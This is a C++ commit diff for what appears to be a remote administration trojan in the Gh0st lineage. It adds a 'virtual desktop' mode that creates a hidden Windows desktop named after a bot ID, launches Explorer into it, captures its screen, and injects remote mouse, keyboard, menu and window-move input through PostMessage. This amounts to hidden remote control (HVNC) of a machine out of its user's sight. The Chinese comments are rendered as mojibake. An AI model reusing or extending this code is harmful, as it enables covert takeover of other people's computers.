feat: Support virtual remote desktop monitoring
This commit is contained in:
@@ -9,6 +9,12 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
enum {
|
||||
USING_GDI = 0,
|
||||
USING_DXGI = 1,
|
||||
USING_VIRTUAL = 2,
|
||||
};
|
||||
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_H264 2
|
||||
|
||||
@@ -91,25 +91,31 @@ public:
|
||||
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
|
||||
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
|
||||
int m_SendQuality; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
||||
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
|
||||
ULONG m_iScreenX; // <20><>ʼx<CABC><78><EFBFBD><EFBFBD>
|
||||
ULONG m_iScreenY; // <20><>ʼy<CABC><79><EFBFBD><EFBFBD>
|
||||
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
||||
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
|
||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
|
||||
int m_biBitCount; // ÿ<><C3BF><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
|
||||
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
|
||||
bool m_SendKeyFrame; // <20><><EFBFBD>ؼ<CDB9>֡
|
||||
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo),
|
||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){
|
||||
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) :
|
||||
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF), m_SendQuality(100),
|
||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
|
||||
m_SendKeyFrame(false), m_encoder(nullptr) {
|
||||
|
||||
m_BlockNum = 8;
|
||||
m_ThreadPool = new ThreadPool(m_BlockNum);
|
||||
@@ -160,6 +166,21 @@ public:
|
||||
SAFE_DELETE(m_encoder);
|
||||
}
|
||||
|
||||
virtual int SendQuality(int quality) {
|
||||
int old = m_SendQuality;
|
||||
m_SendQuality = quality;
|
||||
return old;
|
||||
}
|
||||
|
||||
virtual RECT GetScreenRect() const {
|
||||
RECT rect;
|
||||
rect.left = m_iScreenX;
|
||||
rect.top = m_iScreenY;
|
||||
rect.right = m_ulFullWidth;
|
||||
rect.bottom = m_ulFullHeight;
|
||||
return rect;
|
||||
}
|
||||
|
||||
public:
|
||||
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
||||
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||
@@ -257,8 +278,22 @@ public:
|
||||
}
|
||||
}
|
||||
|
||||
virtual LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight)
|
||||
{
|
||||
assert(biBitCount == 32);
|
||||
BITMAPINFO* bmpInfo = (BITMAPINFO*) new BYTE[sizeof(BITMAPINFO)]();
|
||||
bmpInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
bmpInfo->bmiHeader.biWidth = biWidth;
|
||||
bmpInfo->bmiHeader.biHeight = biHeight;
|
||||
bmpInfo->bmiHeader.biPlanes = 1;
|
||||
bmpInfo->bmiHeader.biBitCount = 32;
|
||||
bmpInfo->bmiHeader.biCompression = BI_RGB;
|
||||
bmpInfo->bmiHeader.biSizeImage = biWidth * biHeight * 4;
|
||||
return bmpInfo;
|
||||
}
|
||||
|
||||
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
|
||||
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
|
||||
BYTE algo = m_bAlgorithm;
|
||||
int frameID = m_FrameID + 1;
|
||||
bool keyFrame = (frameID % m_GOP == 0);
|
||||
|
||||
@@ -22,7 +22,7 @@ private:
|
||||
BYTE* m_NextBuffer = nullptr;
|
||||
|
||||
public:
|
||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) {
|
||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(32, algo) {
|
||||
m_GOP = gop;
|
||||
InitDXGI();
|
||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||
|
||||
@@ -15,6 +15,8 @@
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapturerDXGI.h"
|
||||
#include <Shlwapi.h>
|
||||
#include <shlobj_core.h>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -43,9 +45,92 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
g_hDesk = nullptr;
|
||||
m_DesktopID = GetBotId();
|
||||
m_ScreenSpyObject = nullptr;
|
||||
m_ptrUser = (INT_PTR)user;
|
||||
|
||||
int DXGI = 0;
|
||||
m_point = {};
|
||||
m_lastPoint = {};
|
||||
m_lmouseDown = FALSE;
|
||||
m_hResMoveWindow = nullptr;
|
||||
m_resMoveType = 0;
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickPoint = {};
|
||||
m_rclickWnd = nullptr;
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
|
||||
std::wstring ConvertToWString(const std::string& multiByteStr) {
|
||||
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
|
||||
if (len == 0) return L""; // ת<><D7AA>ʧ<EFBFBD><CAA7>
|
||||
|
||||
std::wstring wideStr(len, L'\0');
|
||||
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
|
||||
|
||||
return wideStr;
|
||||
}
|
||||
|
||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
|
||||
bool bReturn = false;
|
||||
|
||||
try {
|
||||
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
|
||||
return false;
|
||||
|
||||
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
|
||||
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
|
||||
|
||||
std::wstring path = ConvertToWString(pszApplicationFilePath);
|
||||
if (!PathIsExe(path.c_str()))
|
||||
return false;
|
||||
PathRemoveFileSpec(szDirectoryName);
|
||||
STARTUPINFO sInfo = { 0 };
|
||||
PROCESS_INFORMATION pInfo = { 0 };
|
||||
|
||||
sInfo.cb = sizeof(sInfo);
|
||||
sInfo.lpDesktop = pszDesktopName;
|
||||
|
||||
//Launching a application into desktop
|
||||
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
TRUE,
|
||||
NORMAL_PRIORITY_CLASS,
|
||||
NULL,
|
||||
szDirectoryName,
|
||||
&sInfo,
|
||||
&pInfo);
|
||||
|
||||
TCHAR* pszError = NULL;
|
||||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||||
|
||||
if (pszError) {
|
||||
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
|
||||
LocalFree(pszError); // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||
}
|
||||
|
||||
if (bCreateProcessReturn)
|
||||
bReturn = true;
|
||||
|
||||
}
|
||||
catch (...) {
|
||||
bReturn = false;
|
||||
}
|
||||
|
||||
return bReturn;
|
||||
}
|
||||
|
||||
void CScreenManager::InitScreenSpy() {
|
||||
int DXGI = USING_GDI;
|
||||
BYTE algo = ALGORITHM_DIFF;
|
||||
BYTE* user = (BYTE*)m_ptrUser;
|
||||
if (!(user == NULL || (int)user == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
if (param) {
|
||||
@@ -53,11 +138,36 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||
delete param;
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else {
|
||||
DXGI = (int)user;
|
||||
}
|
||||
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
||||
if ((1==DXGI && IsWindows8orHigher()))
|
||||
if (DXGI == USING_VIRTUAL) {
|
||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||
if (!hDesk) {
|
||||
if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
|
||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>[%s]!!!\n", m_DesktopID.c_str());
|
||||
}
|
||||
}
|
||||
else {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļʧ<EFBFBD><EFBFBD>: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
}
|
||||
else {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
if (hDesk) {
|
||||
SetThreadDesktop(g_hDesk = hDesk);
|
||||
}
|
||||
}
|
||||
|
||||
if ((USING_DXGI == DXGI && IsWindows8orHigher()))
|
||||
{
|
||||
auto s = new ScreenCapturerDXGI(algo);
|
||||
if (s->IsInitSucceed()) {
|
||||
@@ -71,17 +181,16 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
}
|
||||
else
|
||||
{
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL);
|
||||
}
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
CScreenManager *This = (CScreenManager *)lParam;
|
||||
|
||||
This->InitScreenSpy();
|
||||
|
||||
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -285,6 +394,12 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength
|
||||
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
|
||||
}
|
||||
|
||||
std::string GetTitle(HWND hWnd) {
|
||||
char title[256]; // Ԥ<><D4A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
GetWindowTextA(hWnd, title, sizeof(title));
|
||||
return title;
|
||||
}
|
||||
|
||||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
int msgSize = sizeof(MSG64);
|
||||
@@ -301,6 +416,210 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
BYTE* ptr = szBuffer;
|
||||
MSG32 msg32;
|
||||
MSG64 msg64;
|
||||
if (g_hDesk) {
|
||||
HWND hWnd = NULL;
|
||||
BOOL mouseMsg = FALSE;
|
||||
POINT lastPointCopy = {};
|
||||
SetThreadDesktop(g_hDesk);
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (msg->message) {
|
||||
case WM_KEYUP:
|
||||
return;
|
||||
case WM_CHAR:
|
||||
|
||||
case WM_KEYDOWN: {
|
||||
m_point = m_lastPoint;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONDOWN: {
|
||||
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_rmouseDown = TRUE;
|
||||
m_rclickPoint = msg->pt;
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONUP: {
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szClass[256];
|
||||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
|
||||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||
// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||||
}
|
||||
else {
|
||||
// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
|
||||
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||||
// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
|
||||
keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
mouseMsg = TRUE;
|
||||
m_point = msg->pt;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
lastPointCopy = m_lastPoint;
|
||||
m_lastPoint = m_point;
|
||||
if (msg->message == WM_LBUTTONUP) {
|
||||
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||
{
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||||
m_rclickWnd = nullptr;
|
||||
}
|
||||
m_lmouseDown = FALSE;
|
||||
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
switch (lResult) {
|
||||
case HTTRANSPARENT: {
|
||||
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||||
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
break;
|
||||
}
|
||||
case HTCLOSE: {// <20>رմ<D8B1><D5B4><EFBFBD>
|
||||
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||||
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMINBUTTON: {// <20><>С<EFBFBD><D0A1>
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||||
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMAXBUTTON: {// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
WINDOWPLACEMENT windowPlacement;
|
||||
windowPlacement.length = sizeof(windowPlacement);
|
||||
GetWindowPlacement(hWnd, &windowPlacement);
|
||||
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||||
else
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||||
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_LBUTTONDOWN) {
|
||||
m_lmouseDown = TRUE;
|
||||
m_hResMoveWindow = NULL;
|
||||
RECT startButtonRect;
|
||||
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||||
GetWindowRect(hStartButton, &startButtonRect);
|
||||
if (PtInRect(&startButtonRect, m_point)) {
|
||||
PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ<>ʼ<E2BFAA><CABC>ť<EFBFBD><C5A5><EFBFBD><EFBFBD>
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
char windowClass[MAX_PATH] = { 0 };
|
||||
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||||
if (!lstrcmpA(windowClass, "#32768")) {
|
||||
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||||
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||||
int itemId = GetMenuItemID(hMenu, itemPos);
|
||||
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||||
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_MOUSEMOVE) {
|
||||
if (!m_lmouseDown)
|
||||
continue;
|
||||
if (!m_hResMoveWindow)
|
||||
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
else
|
||||
hWnd = m_hResMoveWindow;
|
||||
int moveX = lastPointCopy.x - m_point.x;
|
||||
int moveY = lastPointCopy.y - m_point.y;
|
||||
|
||||
RECT rect;
|
||||
GetWindowRect(hWnd, &rect);
|
||||
int x = rect.left;
|
||||
int y = rect.top;
|
||||
int width = rect.right - rect.left;
|
||||
int height = rect.bottom - rect.top;
|
||||
switch (m_resMoveType) {
|
||||
case HTCAPTION: {
|
||||
x -= moveX;
|
||||
y -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTTOP: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOM: {
|
||||
height -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTLEFT: {
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTRIGHT: {
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPLEFT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPRIGHT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMLEFT: {
|
||||
height -= moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMRIGHT: {
|
||||
height -= moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||||
m_hResMoveWindow = hWnd;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
for (HWND currHwnd = hWnd;;) {
|
||||
hWnd = currHwnd;
|
||||
ScreenToClient(currHwnd, &m_point);
|
||||
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||||
if (!currHwnd || currHwnd == hWnd)
|
||||
break;
|
||||
}
|
||||
if (mouseMsg)
|
||||
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||||
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||||
}
|
||||
return;
|
||||
}
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
|
||||
{
|
||||
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
|
||||
|
||||
@@ -13,6 +13,8 @@
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
class CScreenManager : public CManager
|
||||
@@ -22,6 +24,7 @@ public:
|
||||
virtual ~CScreenManager();
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
void InitScreenSpy();
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID SendBitMapInfo();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
@@ -32,10 +35,23 @@ public:
|
||||
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
||||
|
||||
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
||||
INT_PTR m_ptrUser;
|
||||
HDESK g_hDesk;
|
||||
std::string m_DesktopID;
|
||||
BOOL m_bIsWorking;
|
||||
BOOL m_bIsBlockInput;
|
||||
VOID SendClientClipboard();
|
||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
POINT m_point;
|
||||
POINT m_lastPoint;
|
||||
BOOL m_lmouseDown;
|
||||
HWND m_hResMoveWindow;
|
||||
LRESULT m_resMoveType;
|
||||
BOOL m_rmouseDown; // <20><><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD><D2BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
POINT m_rclickPoint; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HWND m_rclickWnd; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||
|
||||
@@ -11,10 +11,10 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo)
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop) :
|
||||
ScreenCapture(ulbiBitCount, algo)
|
||||
{
|
||||
m_GOP = gop;
|
||||
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
||||
|
||||
m_BitmapInfor_Full = new BITMAPINFO();
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
@@ -28,22 +28,23 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(a
|
||||
BitmapInforHeader->biSizeImage =
|
||||
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
|
||||
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
m_hDeskTopDC = GetDC(NULL);
|
||||
|
||||
m_BitmapData_Full = NULL;
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC);
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
|
||||
|
||||
m_DiffBitmapData_Full = NULL;
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC);
|
||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||
|
||||
m_RectBufferOffset = 0;
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
|
||||
m_bVirtualPaint = vDesk;
|
||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||
}
|
||||
|
||||
|
||||
@@ -55,7 +56,7 @@ CScreenSpy::~CScreenSpy()
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||
ReleaseDC(NULL, m_hDeskTopDC);
|
||||
|
||||
if (m_hFullMemDC!=NULL)
|
||||
{
|
||||
@@ -86,15 +87,11 @@ CScreenSpy::~CScreenSpy()
|
||||
delete[] m_RectBuffer;
|
||||
m_RectBuffer = NULL;
|
||||
}
|
||||
|
||||
m_RectBufferOffset = 0;
|
